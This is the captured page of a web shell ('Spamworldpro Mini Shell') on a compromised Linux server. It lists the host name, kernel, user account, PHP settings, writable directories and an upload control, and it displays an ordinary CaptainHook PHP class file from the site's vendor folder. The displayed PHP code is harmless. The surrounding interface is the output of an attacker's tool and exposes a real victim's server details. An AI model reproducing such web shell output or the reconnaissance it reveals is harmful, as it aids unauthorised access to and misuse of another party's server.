Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/captainhook/captainhook/src/Console/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/captainhook/captainhook/src/Console/Command/RepositoryAware.php
<?php

/**
 * This file is part of CaptainHook
 *
 * (c) Sebastian Feldmann <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace CaptainHook\App\Console\Command;

use CaptainHook\App\Console\Runtime\Resolver;
use SebastianFeldmann\Git\Repository;
use Symfony\Component\Console\Input\InputOption;

/**
 * Trait RepositoryAware
 *
 * Trait for all commands that needs to be aware of the git repository.
 *
 * @package CaptainHook\App\Console\Command
 */
class RepositoryAware extends ConfigAware
{
    /**
     * Configure method to set up the git-directory command option
     *
     * @return void
     */
    protected function configure(): void
    {
        parent::configure();

        $this->addOption(
            'git-directory',
            'g',
            InputOption::VALUE_OPTIONAL,
            'Path to your .git directory'
        );
    }

    /**
     * Create a new git repository representation
     *
     * @param  string $path
     * @return \SebastianFeldmann\Git\Repository
     */
    protected function createRepository(string $path): Repository
    {
        return Repository::createVerified($path);
    }
}

Spamworldpro Mini